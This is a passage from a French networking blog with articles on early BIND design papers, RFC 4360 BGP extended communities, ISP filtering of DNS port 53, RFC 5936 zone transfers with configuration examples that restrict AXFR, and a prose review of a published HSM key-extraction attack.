La seconde idée importante est de ne pas stocker les données sous la forme « évidente » d'un arbre mais sous la forme d'une table de hachage, indexée par le FQDN. La plupart des noms cherchés sont en effet des feuilles de l'arbre du DNS et la recherche des données nécessiterait donc un parcours de l'arbre dans toute sa profondeur. (La possibilité d'utiliser une « vraie » base de données comme Ingres est considérée dans l'article et écartée pour des raisons de performance.)

Dans The design and implementation of the Berkeley Internet Name Domain servers, Songnian Zhou met l'accent est mis sur le logiciel qui va utiliser cette base pour répondre aux questions posées. Mais, comme les autres articles de la série, il parle aussi de questions plus fondamentales, voire philosophiques. De nos jours, les articles seraient bien spécialisés, avec des rôles bien déterminés. Mais, à l'époque, on pouvait commencer un article sur l'implémentation du serveur en parlant des règles de nommage et en évoquant celles d'UUCP (plus exactement, celles d'UUCP à l'époque, fondées sur des noms relatifs, indiquant le chemin à parcourir).

Et le serveur lui-même, dans tout cela ? Le DNS de l'époque ne faisait pas de distinction claire entre un serveur faisant autorité et un cache récursif et le logiciel allait donc faire les deux, ce que BIND va faire jusqu'à la version 9 incluse (dans la version 10, les deux fonctions sont complètement séparées, et on peut même compiler le logiciel avec une seule des deux). Par contre, une fonction non prévue par les RFC allait être ajoutée : la mise à jour dynamique des données, qui ne sera normalisée que dans le RFC 2136, sous une forme très proche de ce que décrit l'article (qui explique, par exemple, pourquoi seul le serveur maître peut traiter ces mises à jour).

La programmation de ce nouveau logiciel n'avait pas été évidente. Par exemple, le serveur de noms est naturellement parallèle puisqu'il doit répondre à des requêtes simultanées de plusieurs clients. Le mécanisme normal de parallélisme sur les Unix BSD de l'époque était le processus mais BSD n'avait pas de mémoire partagée, ce qui rendait difficile (du moins c'est ainsi qu'on le voyait à l'époque) la communication entre les processus. Finalement, BIND aura un seul processus et utilisera select() pour traiter les questions. Dans un autre ordre d'idées, c'est dans cet article qu'apparait la spécification du format de fichier de configuration que BIND gardera jusqu'à la version 4 incluse. Quant à la mise en œuvre de la mise à jour dynamique, elle était fort complexe et fait l'objet de plusieurs pages.

La partie la plus amusante de la lecture d'un article aussi ancien est évidemment celle consacrée aux projets futurs. Ainsi, l'auteur perçoit bien l'importance d'ajouter des ACL et des mécanismes d'authentification (complètement absents de la première version). Moins bien analysée est l'idée d'utiliser le DNS pour stocker les informations sur l'utilisateur, auxquelles on accédait à l'époque avec la commande finger (qui avait été normalisée dans le RFC 742 et qui est aujourd'hui dans le RFC 1288). De nombreuses années avant ENUM ou .tel, la vision de l'enregistrement DNS User Information, UINFO (qui ne sera finalement pas adopté) est stimulante.

Quant à The Design and Implementation of a "Domain Names" Resolver de Mark Painter, il se focalise sur la partie client, le résolveur (rappelez-vous qu'à l'époque, le vocabulaire n'était pas bien fixé et on disait souvent resolver pour ce qu'on appelerait aujourd'hui stub resolver). Là encore, il y avait de grandes idées qui ne se sont pas concrétisées (comme d'utiliser le DNS pour nommer les processus du système, avec évidemment mise à jour dynamique puisque des processus sont créés et détruits tout le temps).

Mais le gros débat dans cet article concernait l'architecture du résolveur. L'auteur envisageait trois possibilités :

  • Que le code du résolveur soit entièrement dans l'espace mémoire de chaque processus qui résout des noms (c'est la méthode adoptée à l'époque),
  • Que le code du résolveur soit dans le noyau,
  • Que le résolveur soit un processus séparé, avec un petit peu de code dans chaque processus, pour appeler le résolveur (c'est largement la solution qui a été adoptée ensuite sur Unix).

L'avantage de la première méthode était qu'un appel au résolveur est peu coûteux (juste un appel de sous-programme). Mais cela interdisait le partage des données (le cache DNS) entre les processus d'une même machine (Unix BSD à cette époque n'avait pas encore de mémoire partagée). La deuxième méthode (dans le noyau) a été écartée vue la complexité du noyau BSD.

Les programmes qui voulaient utiliser le service de résolution de noms avaient à leur disposition une nouvelle API tournant autour d'une routine nommée std_query (qui n'a pas été conservée par la suite). Notons que la spécification de cette API limitait explicitement les noms au jeu de caractères ASCII (alors que le DNS, lui, a toujours accepté des jeux plus larges). C'est, je crois, la première mention de cette limitation.

Il y avait aussi une routine inv_query pour les requêtes inverses, qui ont finalement été abandonnée dans le RFC 3425 (l'article expliquait déjà pourquoi c'était une mauvaise idée).

Une autre routine, set_resopt, permettait de changer le comportement du résolveur, par exemple pour exiger uniquement des réponses faisant autorité, ou au contraire pour n'interroger que le cache local.

Ces nouvelles routines ne concernaient que le résolveur DNS. Unix avait déjà gethostbyname comme accès général à la résolution de noms mais sa sémantique légèrement différente avait posé bien des problèmes pour y inclure le DNS.

L'auteur a aussi fait des essais quantitatifs, mesurant que, pour cinquante requêtes, il fallait une demi-seconde, des chiffres bien éloignés des résultats d'aujourd'hui (la seule page d'accueil de cnn.com nécessite une centaine de requêtes DNS). À l'époque, on avait nettement moins de ressources et l'aricle note avec inquiétude la taille « substantielle » du résolveur : près de cent kilo-octets...


L'article seul

RFC 4360: BGP Extended Communities Attribute

Date de publication du RFC : Février 2006
Auteur(s) du RFC : S. Sangli, D. Tappan (Cisco), Y. Rekhter (Juniper)
Chemin des normes
Première rédaction de cet article le 4 juillet 2010


Depuis 1996, le protocole de routage BGP permet d'étiqueter les routes annoncées avec une ou plusieurs communautés, une suite de chiffres sont la signification dépend en général de l'AS qui l'émet. Ces communautés, normalisées dans le RFC 1997, permettent d'indiquer, par exemple, qu'une route a été initialement apprise à tel point d'échange. Mais elles ont plusieurs limitations et ce RFC normalise donc une version améliorée, les communautés étendues.

Quelles limites des communautés ordinaires sont désormais dépassées (section 1 du RFC) ? Qu'apporte notre RFC ? D'abord, une augmentation de taille, qui permet d'encoder davantage de choses. Ensuite, l'ajout d'un champ « Type » qui permet de donner une structure aux communautés. Il autorise également des traitements (comme de filtrer ou, au contraire de laisser passer) appliqués à toutes les communautés d'un type donné (alors que, avec les communautés ordinaires, le traitement doit être spécifié pour chaque communauté, celles-ci n'ayant aucune structure normalisée).

La section 2 décrit notre nouvel attribut BGP, numéro 16, alias « Extended Communities Attribute ». Il comporte huit octets, un ou deux pour le type et le reste pour les données. Pourquoi un nombre variable d'octets pour le type ? Parce qu'il peut y avoir des types ordinaires (un octet) et des types étendus (deux octets). Par exemple, les communautés pour AS de quatre octets, dans le RFC 5668, utilisent les types étendus. En outre, les deux premiers bits du type indiquent des propriétés qui peuvent être comprises même par un routeur qui n'a jamais vu ces communautés de ce type plus tôt. Le premier bit indique le type d'allocation par l'IANA (0 : allocation en « Premier Arrivé, Premier Servi », 1 : allocation plus restrictive). Le second indique si la communauté est transitive ou pas (si elle doit être transmise aux AS voisins ou pas). Ainsi, même sans avoir lu le RFC 5668, un routeur BGP sait que les communautés de type 0x02 sont transitives (puisque le deuxième bit est à zéro, signe de transitivité).

La section 3 passe tout de suite aux applications pratiques en réservant plusieurs types et en décrivant leur structure. La structure des données, elle, dépend en effet du type. Ainsi, la section 3.2 spécifie une communauté attachée à une adresse IPv4. Le type vaut 0x01 (si elle est transitive) ou 0x41, les données contiennent l'adresse (évidemment sur quatre octets) et un champ Local Administrator sur deux octets, qui contient ce que veut l'AS émetteur.

Autre exemple de communauté étendue, les destinataires de routes (section 4) où un routeur qui émet une route indique dans la communauté quels routeurs peuvent recevoir cette annonce (cf. RFC 4364 pour un exemple d'utilisation). Les routeurs acceptés sont indiqués par leur adresse IP. Un mécanisme analogue permet d'indiquer le routeur d'origine (section 5).

L'enregistrement des types possibles se fait dans un registre IANA (cf. section 7). Consulter ce registre permet de voir le grand nombre d'usages de ces communautés étendues. Rappelons que les deux premiers bits indiquent si l'allocation est simplement « Premier Arrivé, Premier Servi » ou plus formelle, et si la communauté est transitive (transmise aux autres AS) ou pas. À noter que le registre a été par la suite complètement réorganisé par le RFC 7153.

À l'heure actuelle, ces communautés étendues semblent rares dans la nature. Les communautés documentées par les opérateurs (par exemple par Level 3 ou Cable & Wireless) sont généralement des communautés du type traditionnel. Au passage, un bon outil pour examiner les politiques d'étiquetage par communautés des principaux opérateurs est http://onesc.net/communities/.


Téléchargez le RFC 4360


L'article seul

Quelques exemples de femmes en informatique, aujourd'hui

Première rédaction de cet article le 30 juin 2010


En râlant contre un article d'Isabelle Collet dans « Manière de voir », je disais que c'était un peu agaçant qu'on ne cite toujours que les deux mêmes exemples d'informaticienNEs, Ada Lovelace et Grace Hopper. Mentionner toujours les mêmes ne donne pas forcément envie aux filles d'aujourd'hui de faire de l'informatique. Alors, voici quelques exemples de brillantes informaticiennes d'aujourd'hui.

La liste est complètement subjective et basée uniquement sur celles dont j'ai lu ou utilisé le travail. Je cite des femmes qui sont actives en informatique aujourd'hui, pas des disparues comme les deux citées plus haut, pas non plus des femmes qui ont plus ou moins cessé leur activité technique (comme Adele Goldberg, Barbara Liskov ou même Radia Perlman). J'ai essayé de privilégier celles travaillant dans les mondes du logiciel libre et/ou des standards ouverts et qu'on ne cite pas souvent :

Catherine Letondal me recommande le bon article du Wikipédia anglophone « Women in computing ». Voir aussi le projet Ada pour encourager les femmes dans les technologies.


L'article seul

Filtrage du port 53, la prochaine attaque contre la neutralité du réseau

Première rédaction de cet article le 29 juin 2010
Dernière mise à jour le 17 septembre 2010


Il n'y a plus guère aujourd'hui de vrai FAI pour le particulier ou la petite entreprise, c'est-à-dire de fournisseur qui donnerait accès à l'Internet, pas seulement à un sous-ensemble de celui-ci (par exemple le Web). Ainsi, le filtrage du port 25 en sortie (le port utilisé par le protocole SMTP d'envoi du courrier) est souvent bloqué par défaut, en raison de l'importante quantité de spam envoyé par des zombies. Et le port 53, celui du DNS ?

Il y a bien d'autres violations de la neutralité du réseau par les FAI (cf. RFC 4924). Parfois, d'autres services que le courrier sont interdits (la palme du ridicule à OVH pour son offre d'hébergementIRC est interdit - apparemment XMPP ou les protocoles de messagerie instantanée fermés ont été oubliés par le juriste d'OVH). Parfois, le client peut ouvrir les ports fermés, le filtrage n'étant que mis par défaut, mais débrayable (c'est le cas, à l'heure actuelle, chez Free avec le port 25, automatiquement et gratuitement).

Jusqu'à présent, l'accès DNS, qui se fait sur le port 53, a toujours été ouvert. Cela risque de changer bientôt. Il y a eu plusieurs alertes (donc certaines se sont révélées être de fausses alertes) comme chez Comcast (voir aussi la discussion sur Slashdot) et il est probable qu'un FAI tentera bientôt de généraliser ce filtrage.

En effet, un document du MAAWG publié en juin 2010, « Overview of DNS security - Port 53 protection » prône ce filtrage. La caution du MAAWG, cartel de gros opérateurs réseau, sera sans doute utilisé comme prétexte. Par contre, pour le client, c'est une mauvaise nouvelle : le MAAWG s'est déjà signalé par ses positions éradicatrices, considérant que le citoyen n'a pas à avoir un accès complet à l'Internet et qu'il faut le forcer à passer par les filtres du fournisseur d'accès. Par exemple, pour le courrier, le MAAWG a toujours prôné, comme approche anti-spam, l'acceptation du courrier uniquement entre gros opérateurs, excluant la réception du courrier envoyé par les serveurs des petits fournisseurs, petites entreprises ou particuliers.

Le titre du rapport du MAAWG est déjà un chef d'œuvre de novlangue, comme de parler de « managing traffic on port 53 » pour dire « interdiction du port 53 ».

Quels sont les arguments du MAAWG ? Que plusieurs logiciels malveillants changent les réglages DNS des machines infectées, pour pointer vers des serveurs DNS contrôlés directement ou indirectement (via un empoisonnement de cache) par un méchant. Bloquer le port 53 forcerait les machines Windows infectées à passer par les résolveurs DNS du FAI, gênant ainsi le logiciel malveillant.

De telles attaques arrivent dans la nature et sont par exemple documentées dans l'article « Corrupted DNS Resolution Paths: The Rise of a Malicious Resolution Authority  ». L'attaquant, via un logiciel malveillant, change les réglages DNS et le PC de l'utilisateur, sans que ce dernier s'en rende compte, envoie désormais ses requêtes DNS à un résolveur géré par le méchant (ou empoisonné par celui-ci). Ce résolveur peut alors, par exemple, indiquer une fausse adresse IP pour www.ma-banque.example. Ainsi, l'utilisateur, sans qu'il y aie eu besoin d'envoyer du spam prétendument depuis sa banque, peut être dirigé vers un serveur de hameçonnage.

Bien conscient de la restriction de la liberté de choix qui résulte de l'interdiction proposée, le MAAWG propose des exceptions vers les serveurs DNS « bien connus » (legitimate DNS resolvers, sans que cette « légitimité » soit définie). On suppose que cela inclus ceux d'OpenDNS (qui se vante de censurer pour « protéger la famille ») ou de Norton DNS qui affirme mentir sur les réponses DNS pour empêcher l'utilisateur d'aller sur des sites Web dangereux. Est-ce que cela inclura aussi les serveurs de Google DNS, pour lesquels Google s'est engagé à ne pas interférer avec les réponses légitimes ? En tout cas, cette idée d'une « liste blanche » de serveurs officiels est bien dans l'esprit du MAAWG, qui verrait bien l'accès Internet réduit à passer par un petit nombre de fournisseurs. En revanche, le rapport du MAAWG ne mentionne pas une seule fois la possibilité d'opt-out pour le client.

En quoi est-ce un problème de ne pas avoir accès au port 53 ? D'abord, il faut préciser que c'est une restriction du choix : le FAI détermine ce qui est bon pour le client, au lieu de laisser celui-ci se déterminer tout seul. Ensuite, d'un point de vue plus pratique, bloquer le port 53 peut empêcher le client de chercher ailleurs une solution aux dysfonctionnements des résolveurs DNS du FAI, ou à leurs insuffisances (par exemple, chez Free, la moitié des résolveurs ne gère toujours pas EDNS). C'est d'autant plus grave que les défaillances peuvent être volontaires, comme dans le cas des DNS menteurs où le FAI trompe délibérement ses clients. Le rapport du MAAWG mentionne d'ailleurs cette question de manière fort elliptique en indiquant que le blocage du port 53 permet de préserver les revenus provenant de l'exploitation du DNS... (En termes clairs : la publicité sur le site Web vers lequel on redirige les clients.)

Un autre problème du blocage du port 53 concerne DNSSEC. Tant que les résolveurs des FAI ne font pas de validation DNSSEC, la seule solution pour celui qui veut utiliser cette technique de sécurité chez lui est d'installer son propre résolveur (ce qui est très simple aujourd'hui) validant. Le blocage du port 53 empêcherait cela et gênerait donc le déploiement d'une méthode de sécurité intéressante.

À noter que le blocage du port 53 empêcherait immédiatement la technique la plus utilisée aujourd'hui pour contourner les portails captifs de tant d'aéroports et hôtels : le tunnel DNS. Le rapport du MAAWG ne cite pas ce point, sans doute parce qu'il rendrait leurs intentions répressives trop voyantes mais cela a dû compter dans cette recommandation.

Comment savoir si son FAI bloque déjà le port 53 ? Lui demander ne donne jamais aucun résultat (essayez : appelez le support de votre FAI). Lire les CGV a peu de chances de vous apporter des explications claires. Il vaut donc mieux tester. Si, sur une machine Unix, vous pouvez utiliser dig :

% dig @a.nic.fr A www.wikipedia.fr

et récupérer la bonne valeur (une redirection vers les serveurs du domaine de Wikipédia) :

...
;; AUTHORITY SECTION:
wikipedia.fr.           172800  IN      NS      c.dns.gandi.net.
wikipedia.fr.           172800  IN      NS      a.dns.gandi.net.
wikipedia.fr.           172800  IN      NS      b.dns.gandi.net.
...

c'est que vous avez un accès au port 53 : vous pouvez interroger directement les serveurs faisant autorité. Vous pouvez aussi tester d'autres TLD que .fr, bien sûr.

Parfois, le filtrage dépend du contenu. Ainsi, en Chine, les requêtes DNS sont souvent modifiées par la censure et il faut donc tester, non seulement avec www.wikipedia.fr mais également avec des noms sensibles (en Chine, facebook.com ou twitter.com). Même si vous avez l'impression que vous parlez directement au serveur DNS (option @ de dig), des équipements intermédiaires sur le réseau modifient vos réponses.

Si vous n'avez pas dig, vous pouvez aussi utiliser le service http://netalyzr.icsi.berkeley.edu/faq.html#nolaunch (il nécessite Java).

Si le FAI filtre le port 53, y a t-il des solutions de contournement ? On peut imaginer, par exemple (voir l'article de Spyou) un serveur DNS interne qui parle à un serveur externe sur un autre port que le 53. Avec un récurseur comme Unbound, une configuration comme cela fonctionnerait pour le serveur interne, l'externe écoutant sur le port 443 (qui a peu de chances d'être filtré) :

forward-zone:
 	name: "."
 	forward-addr: 192.0.2.73@443

Le serveur externe, toujours si c'est un Unbound, a juste besoin de :

server:
    interface: 192.0.2.73@443

pour écouter sur le port 443 en sus de ses ports habituels.


L'article seul

RFC 5936: DNS Zone Transfer Protocol (AXFR)

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : Edward Lewis (NeuStar), A. Hoenes (TR-Sys)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 28 juin 2010


Parmi les protocoles qui forment le socle de l'Internet, une des particularités du DNS est la grande distance entre la norme officielle, vieille désormais de treize ans et jamais révisée intégralement, et la réalité. Celle-ci a nécessité a plusieurs reprises la publication de normes de clarification, détaillant ce que le RFC 1034 avait laissé dans l'ombre. Notre RFC 5936 continue cette tradition pour le cas des transferts de zone où un serveur de noms réclame à un serveur faisant autorité une copie complète de la zone (c'est-à-dire des données DNS). Le principal point vague était le cas où un serveur faisait également autorité pour des zones parentes ou filles de la zone transférée : devait-il tenir compte de ce qu'il avait appris à cette occasion pour « corriger » la zone transférée ? La réponse est clairement désormais non : le serveur doit transférer ce qu'on lui a donné comme contenu de la zone, pas ce qu'il a pu apprendre par ailleurs.

Un peu d'histoire d'abord : le transfert de zones (souvent désigné par le mnémonique AXFR) était officiellement normalisé dans des parties du RFC 1034 et RFC 1035 (section 4.3.5 du premier, sections 2.2, 3.2.3 et 4.2 du second). Diverses améliorations avaient été créés comme le transfert incrémental (IXFR) du RFC 1995 ou comme la notification immédiate du RFC 1996. Le protocole avait également été corrigé par la section 5.5 du RFC 2181. Bien des points étant flous dans les RFC originels, les programmeurs ont dû petit à petit concevoir une version non-officielle, mais plus précise, du protocole, et c'est elle que notre RFC décrit.

Quel est le problème qu'essaie de résoudre le transfert de zones ? Pour des raisons de fiabilité, toute zone doit être servie par au moins deux serveurs faisant autorité (et bien plus en pratique). Évidemment, il faut que ces serveurs disposent des mêmes informations, soient synchronisés. Il existe plusieurs méthodes pour cela. Parmi les TLD, par exemple, certains utilisent rsync, certains utilisent les mécanismes de réplication de la base de données sous-jacente (comme Slony pour PostgreSQL). Mais AXFR (et IXFR) sont les seuls mécanismes DNS du lot. Aussi, bien que cela ne soit pas, en toute rigueur, obligatoire, tous les logiciels serveurs de noms mettent en œuvre cette technique (section 1.2 du RFC).

Focalisons nous sur AXFR car IXFR et NOTIFY ne sont pas traités par ce nouveau RFC. La section 2 de notre RFC 5936 reprend donc le travail et décrit intégralement le protocole. Un client DNS envoie une requête AXFR en mettant le QTYPE (Query TYPE) à la valeur 252 (section 2.1) et en dirigeant la requête vers un serveur faisant autorité (jamais vers un résolveur). Avec dig, cela se fait ainsi (ici pour la zone .uk) :


% dig @ns1.nic.uk AXFR uk.

Le client doit en outre s'assurer de la valeur de certains champs (section 2.1.1). Il peut aussi ajouter une section additionnelle à la question (section 2.1.5) spécifiant l'utilisation d'EDNS (RFC 2671) et/ou d'une technique d'authentification comme TSIG (RFC 8945).

La section 2.2 décrit la réponse à cette requête. C'est une série de messages DNS (lorsqu'il est transporté sur TCP, chaque message DNS est composé d'une longueur, puis de données). Chaque message peut comporter plusieurs enregistrements. Le premier message doit commencer avec l'enregistrement SOA de la zone transférée et le dernier message se terminer avec le même SOA. À part cette règle, l'ordre des enregistrements ou des messages n'a pas de signification (ce n'est donc pas forcément l'ordre du fichier de zone). Voici une partie de la réponse à la requête faite plus haut. Elle ne comporte qu'un seul message, incluant les 195 enregistrements de cette petite zone. La réponse commence bien par le SOA de la zone transférée :


uk.			172800	IN	SOA	ns1.nic.uk. hostmaster.nic.uk. 1277504551 7200 900 2419200 172800
uk.			3600	IN	RRSIG	NSEC3PARAM 8 1 3600 20100709182231 20100625172231 44346 uk. dM777Q8sZ9sNshexmw08/cfUIAqzxjMj/MvARyuPxxNW52pfXprZ7AvM 0B27rVpIi6qEsBlypNwzZMOm56bzmDQVGBXnC77eUh9kXGEaI6tLuTta rfFWakGdcS8kn/lUOtIOhbfy6xuQRsD6+Y/iV/HEcwmpShVcea/PnSx8 eQQ=
...
_nicname._tcp.uk.	172800	IN	SRV	0 0 43 whois.nic.uk.
ac.uk.			172800	IN	NS	ns.uu.net.
...
british-library.uk.	172800	IN	NS	dns1.bl.uk.
british-library.uk.	172800	IN	NS	dns2.bl.uk.
co.uk.			172800	IN	NS	ns1.nic.uk.
...
u1fmklfv3rdcnamdc64sekgcdp05bbiu.uk. 172800 IN NSEC3 1 1 0 - 2D51R16SS5MQU6PCG2Q0L05JA7E20FC7 NS SOA RRSIG DNSKEY NSEC3PARAM
uk.			172800	IN	SOA	ns1.nic.uk. hostmaster.nic.uk. 1277504551 7200 900 2419200 172800
;; Query time: 430 msec
;; SERVER: 2a01:40:1001:35::2#53(2a01:40:1001:35::2)
;; WHEN: Sat Jun 26 18:33:50 2010
;; XFR size: 195 records (messages 1, bytes 6125)

La réponse se termine bien par le SOA de la zone transférée. Bien que dig ne l'affiche pas lors d'un transfert de zones, certaines options doivent être mises dans l'en-tête, par exemple AA pour Authoritative Answer (section 2.2.1).

Dans l'exemple ci-dessus, la section additionnelle était vide. Mais, si on authentifie le transfert avec TSIG (RFC 8945), ce n'est plus le cas. La signature de la zone transférée apparait alors dans cette section (section 2.2.5 ; mais dig l'affiche à la fin des réponses, ce qui est trompeur. Si on veut voir ce qui passe sur le réseau, il vaut mieux utiliser Wireshark.)

Cela, c'était le protocole. Maintenant, les questions les plus sérieuses posées par le transfert de zones portaient plutôt sur le contenu de ce qui est transféré (section 3). Le principe de base posé par notre nouveau RFC est que le serveur doit transférer fidèlement ce que lui-même a reçu (via un fichier de zone - la méthode traditionnelle - ou via un SGBD). Notez que cette règle semble un enfonçage de porte ouverte mais qu'elle ne l'est pas : par exemple, si la zone est très dynamique, fabriquée à la demande, alors un transfert de zones est tout simplement impossible (section 3.1). Pour prendre un exemple pour rire, c'est le cas de rp.secret-wg.org.

Mais le principal cas où l'application de la règle est délicate est celui cité dans la section 3.2 : que faire si le serveur qui fait autorité pour foo.example fait également autorité pour bar.foo.example et qu'on lui demande de transférer foo.example ? Normalement, les enregistrements NS des deux zones doivent être identiques. Mais, dans le monde réel, ce n'est pas toujours le cas. Si foo.example contient :

bar.foo.example.   IN   NS   ns1.example.net.
                   IN   NS   ns2.example.net.

(enregistrements qui ne font pas autorité mais sont nécessaire spour trouver les serveurs de la zone fille) et que bar.foo.example contient :

bar.foo.example.   IN   NS   ns1.example.net.
                   IN   NS   ns3.example.net.

(qui, cette fois, font autorité) quel jeu d'enregistrements doit renvoyer le serveur lorsqu'on lui demande foo.example ? Ce n'est pas dit clairement dans les RFC 1034 (sa section 4.2.1 est ambigue) et RFC 1035 et les serveurs de noms ont souvent eu des comportements différents sur ce point. Or, celui-ci est crucial, par exemple pour des zones signées avec DNSSEC (par exemple, les enregistrements NSEC et NSEC3 ne seront pas les mêmes, puisque le nom suivant, dans chacune des deux zones, sera différent). Notre nouveau RFC tranche : on envoie ce que contenait la zone transférée, pas ce qu'on a pu apprendre parce qu'on sert d'autres zones. Dit autrement, AXFR doit être exactement équivalent à un rsync du fichier de zone.

Pourquoi l'ambiguité a t-elle été tranchée dans ce sens ? Il y a plusieurs raisons parmi lesquelles :

  • Certains serveurs de foo.example peuvent faire autorité également pour bar.foo.example et d'autres pas. Si le serveur transférait les données « corrigées », les différents serveurs de foo.example enverraient donc des contenus différents lors d'un transfert.
  • Le débogage (ici, la détection de l'incohérence entre foo.example et bar.foo.example) serait bien plus difficile si on ne pouvait pas accéder aux données brutes stockées sur le serveur.

Même règle (transférer la zone qu'on a reçu, ne pas tenter de la « corriger » avec ce qu'on a appris dans d'autres zones) s'applique aussi à la colle, ces enregistrements d'adresses IP qui, sans faire autorité, doivent parfois être stockés dans la zone parente, pour permettre de trouver un serveur de noms qui figure dans une zone fille (section 3.3).

Il reste deux problèmes liés au contenu de la zone : la compression de données (RFC 1035, section 4.1.4) lors d'un transfert ne peut pas être la même que pour une réponse typique (section 3.4) car elle doit tenir compte de la casse (le transfert doit désormais transmettre les noms en respectant leur casse, ce qui n'est pas le cas lors d'une requête DNS classique). Et enfin, il y a le problème des noms masqués. Si un serveur permet la mise à jour dynamique (RFC 2136), une nouvelle délégation (la création dynamique d'enregistrements NS) peut masquer des anciens noms (section 3.5). Ainsi, si la zone contenait www.toto.foo.example, la création d'enregistrements NS pour toto.foo.example masque complètement www.toto.foo.example. Dans ce cas, le RFC est clair : le transfert de la zone doit inclure les noms masqués.

Une fois réglé le protocole et le contenu, reste la question du transport. La section 4 traite son cas : le transfert de zones a toujours nécessité l'utilisation de TCP (la section 4.2 explique pourquoi cela restera le cas). Mais le reste n'est pas clair : par exemple, peut-on réutiliser la connexion TCP pour un deuxième transfert de zones ? Les serveurs de noms esclaves font genéralement une requête SOA avant de demander le transfert de zones, l'examen du numéro de série que contient le SOA leur permet de savoir si un transfert est nécessaire. Cette requête SOA peut-elle passer sur la même connexion TCP que le transfert, si celui-ci a lieu ? Il est difficile de « faire parler » les vieux RFC sur ce point. Le fait qu'ils n'exigent pas que le serveur copie la question ou bien le Query ID dans la réponse semble indiquer que l'idée était en effet qu'une connexion TCP ne serve qu'au transfert de zone, et à un seul. Toutefois, notre RFC 5936 choisit de trancher en autorisant explicitement l'utilisation d'une connexion TCP pour plusieurs requêtes (pas forcément toutes AXFR). C'est même l'option recommandée, pour économiser des ressources sur le serveur.

Lorsque les RFC originels sur le DNS avaient été écrits, on prêtait moins d'attention à la sécurité qu'aujourd'hui. Ces RFC ne mentionnaient donc pas la possibilité de restreindre, voire d'interdire le transfert de zones. Comme l'explique la section 5, cette possibilité est au contraire considérée comme vitale aujourd'hui. (Voir mon article « Récupérer une zone DNS ».) Le RFC demande que l'autorisation de transfert puisse se faire par adresses IP, et par des techniques de signature comme TSIG. La politique par défaut devrait être « pas de transfert ».

Voici un exemple avec le serveur nsd (version 3) qui, comme recommandé par le RFC, ne permet pas de transfert par défaut :

zone:
        name: "bortzmeyer.fr"
        zonefile: "primary/bortzmeyer.fr"
        provide-xfr: 192.134.7.248  NOKEY

Ici, la machine 192.134.7.248 (et elle seule) est autorisée à transférer la zone (directive provide-xfr). Une tentative depuis une autre adresse donnera, par exemple sur le serveur :

Jun 28 20:23:58 aetius nsd[25004]: axfr for zone bortzmeyer.fr. \
       from client 2a01:e35:8bd9:8bb0:38cf:6d60:b99:4d94 refused, no acl matches

Avec BIND, on s'y prend en général en définissant des ACL, ici une ACL nommée my-nets :

acl my-nets {
                203.0.113.128/26; 
                127.0.0.0/8;
                2001:db8:3003::/48;
};

puis en les utilisant dans les paramètres de la zone :

zone "bortzmeyer.fr" {
    allow-transfer {
                my-nets;
        };
    ...
};

et une tentative par une autre machine sera rejetée, le serveur notant :

Jun 28 20:27:41 lilith named[20452]: \
       client 2a01:e35:8bd9:8bb0:38cf:6d60:b99:4d94#51619: \
       zone transfer 'bortzmeyer.fr/AXFR/IN' denied

Et l'intégrité des données transférées ? La section 6 se penche sur la question et spécifie qu'un transfert doit être complet, et avec succès, pour que la zone ainsi transférée soit utilisée (en d'autres termes, le transfert doit être atomique).

On l'a vu, l'ancienne norme était loin d'être claire sur tous les points. La nouvelle est, on l'espère, plus précise. Mais alors, n'y a t-il pas des risques de mauvaise entente entre anciens serveurs et nouveaux clients (ou le contraire) ? La section 7 du RFC est consacrée à ce problème de compatibilité. Elle commence par noter qu'il est difficile de donner des garanties, puisque la sous-spécification du transfert de zones fait que les anciens logiciels présentent une grande variété de comportements. Souvent, cet ancien comportement n'est pas facilement détectable automatiquement, donc la règle est qu'un nouveau logiciel qui souhaite interagir avec les anciens doit le faire via une option de configuration. Limitons nous au point de vue du serveur (section 7.1). Il ne peut pas savoir si le client accepte plusieurs enregistrements par message et l'interaction avec des clients qui n'y arrivent pas nécessite donc une option spécifique (mais qui ne doit pas être activée par défaut). (Pour le point de vue du client, voir la section 7.2.)


Téléchargez le RFC 5936


L'article seul

Attaque contre un HSM: « Unwrapping the chrysalis »

Première rédaction de cet article le 24 juin 2010


Peut-on attaquer un HSM au point de récupérer la clé privée, qui ne devrait jamais sortir ? Oui, montre cet article, qui a réussi contre un modèle de HSM particulièrement mal fait du point de vue matériel (mais plus sérieux sur le logiciel).

Les HSM sont devenus des composants indispensables des systèmes de sécurité basés sur la cryptographie. Par exemple, la grande majorité des registres de noms de domaines qui signent leur zone avec DNSSEC utilisent un HSM.

Ces engins spécialisés génèrent des couples clé privée / clé publique et gardent la clé privée à l'intérieur, sans aucun moyen de la sortir sans qu'elle soit chiffrée. Des protections matérielles garantissent que même un méchant qui a un accès physique au HSM ne pourra l'ouvrir ou que, s'il le fera, la clé privée sera automatiquement effacée (si le HSM est conforme à la norme « FIPS 140-2 level 4 »). Comme la clé privée ne sort pas, toutes les opérations cryptographiques (signature, par exemple) doivent être faites dans le HSM, qui dispose donc d'un processeur pour cela.

En matière de sécurité, il n'y a pas de solution parfaite, pas de système invulnérable, pas de bouclier sans épée capable de le percer. Les HSM n'echappent pas à cette règle et l'article « Unwrapping the Chrysalis » explique une attaque réussie.

J'ai été plutôt déçu par la partie matérielle de cet article, où j'espérais apprendre des méthodes de très haute technologie, genre roman de Michael Crichton : le HSM en question, un Luna Chrysalis, a été percé en un rien de temps, malgré sa certification FIPS 140-2 level 3. L'article date de 2004, j'espère que les HSM ont progressé depuis et que les certificateurs font leur travail plus sérieusement !

La partie logicielle, quoique pas spécifique aux HSM (c'est de la rétro-ingénierie de code ARM classique) est la partie la plus longue de l'article, et celle qui a causé le plus de difficultés aux auteurs. Pourtant, le logiciel n'utilisait apparemment aucune des techniques de dissimulation dont se servent, par exemple, les auteurs de virus. Mais il était très complexe, d'autant plus qu'il devait gérer beaucoup de cas. Les auteurs ont donc dû entamer une longue et douloureuse route, notant soigneusement tout ce qu'ils découvraient, pour établir peu à peu une carte du logiciel.

N'étant pas familier avec les techniques de rétro-ingéniérie, j'ai appris des choses, comme l'importance de nommer tous les objets identifiés. Par exemple, chaque fonction repérée dans le code reçoit un nom, même sans sémantique (comme « Fred », « George » ou « Juliet »). Cela facilite grandement les communications au sein de l'équipe.

Ils ont fini par reconstituer le protocole qui permet à deux de ces HSM de synchroniser leurs clés et cela a permis de finir par sortir une clé privée (avec la complicité d'un Security Officer, toutefois). Les HSM ne sont donc pas invincibles.


L'article seul

Composition française, de Mona Ozouf

Première rédaction de cet article le 24 juin 2010


